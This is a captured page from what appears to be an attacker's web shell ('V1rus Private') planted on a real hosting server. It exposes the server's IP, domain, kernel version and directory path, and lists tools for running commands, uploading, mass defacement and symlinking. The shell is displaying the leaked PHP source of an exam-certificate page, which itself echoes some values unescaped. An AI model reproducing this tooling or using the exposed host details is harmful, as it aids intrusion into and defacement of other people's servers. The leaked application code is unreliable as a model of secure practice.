V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
www
/
exam
/
Viewing: simple_certificate.php
<?php include 'config.php'; // Check authentication if (!isset($_SESSION['student_id']) && !isset($_SESSION['admin_id'])) { header("Location: login.php"); exit(); } $exam_id = $_GET['exam_id'] ?? null; if (!$exam_id) { die("No exam ID provided."); } try { // Get exam data (same as before) if (isset($_SESSION['admin_id'])) { $stmt = $pdo->prepare("SELECT e.*, c.name as category_name, s.name as student_name, cert.certificate_code, cert.issued_date, cert.expiry_date FROM exams e JOIN categories c ON e.category_id = c.id JOIN students s ON e.student_id = s.id LEFT JOIN certificates cert ON cert.exam_id = e.id WHERE e.id = ?"); $stmt->execute([$exam_id]); } else { $stmt = $pdo->prepare("SELECT e.*, c.name as category_name, s.name as student_name, cert.certificate_code, cert.issued_date, cert.expiry_date FROM exams e JOIN categories c ON e.category_id = c.id JOIN students s ON e.student_id = s.id LEFT JOIN certificates cert ON cert.exam_id = e.id WHERE e.id = ? AND e.student_id = ?"); $stmt->execute([$exam_id, $_SESSION['student_id']]); } $data = $stmt->fetch(); if (!$data) { die("Exam not found or you don't have permission to view this certificate."); } if ($data['status'] !== 'passed') { die("Certificate is only available for passed exams. Your exam status: " . $data['status']); } // Create certificate if it doesn't exist if (empty($data['certificate_code'])) { $certificate_code = 'CERT-' . strtoupper(uniqid()); $expiry_date = date('Y-m-d', strtotime('+1 year')); $issued_date = date('Y-m-d H:i:s'); $stmt = $pdo->prepare("INSERT INTO certificates (student_id, exam_id, certificate_code, issued_date, expiry_date) VALUES (?, ?, ?, ?, ?)"); $stmt->execute([$data['student_id'], $exam_id, $certificate_code, $issued_date, $expiry_date]); $data['certificate_code'] = $certificate_code; $data['issued_date'] = $issued_date; } ?> <!DOCTYPE html> <html> <head> <title>Certificate - <?php echo $data['category_name']; ?></title> <style> body { font-family: Arial, sans-serif; margin: 40px; } .certificate { border: 5px solid #2c3e50; padding: 40px; text-align: center; max-width: 800px; margin: 0 auto; } .title { font-size: 32px; font-weight: bold; color: #2c3e50; margin-bottom: 30px; } .student-name { font-size: 36px; color: #e74c3c; margin: 30px 0; font-weight: bold; } .course-name { font-size: 24px; color: #3498db; margin: 20px 0; } .signature { margin-top: 60px; } .footer { margin-top: 40px; font-size: 14px; color: #7f8c8d; } @media print { body { margin: 0; } .no-print { display: none; } } </style> </head> <body> <div class="certificate"> <div class="title">CERTIFICATE OF COMPLETION</div> <div style="font-size: 18px; color: #7f8c8d; margin-bottom: 40px;"> This is to certify that </div> <div class="student-name"><?php echo htmlspecialchars($data['student_name']); ?></div> <div style="font-size: 18px; margin: 30px 0;"> has successfully completed the <strong><?php echo htmlspecialchars($data['category_name']); ?></strong><br> with a score of <strong><?php echo $data['percentage']; ?>%</strong> </div> <div style="font-size: 16px; color: #555; margin: 20px 0;"> Awarded on <?php echo date('F j, Y', strtotime($data['issued_date'])); ?> </div> <div class="signature"> <table style="width: 100%;"> <tr> <td style="width: 50%; text-align: center;"> <div style="border-top: 2px solid #333; width: 200px; margin: 0 auto; padding-top: 10px;"> <strong>Arjun Singh</strong><br> Senior Instructor </div> </td> <td style="width: 50%; text-align: center;"> <div style="border-top: 2px solid #333; width: 200px; margin: 0 auto; padding-top: 10px;"> <strong>Sunil Kumar</strong><br> Program Director </div> </td> </tr> </table> </div> <div class="footer"> Certificate ID: <?php echo $data['certificate_code']; ?><br> Valid until: <?php echo date('F j, Y', strtotime($data['expiry_date'])); ?> </div> </div> <div class="no-print" style="text-align: center; margin-top: 20px;"> <button onclick="window.print()" class="btn btn-primary">Print Certificate</button> <a href="student_dashboard.php" class="btn btn-secondary">Back to Dashboard</a> </div> </body> </html> <?php } catch (Exception $e) { die("Error: " . $e->getMessage()); } ?>
Coded With 💗 by
HanzOFC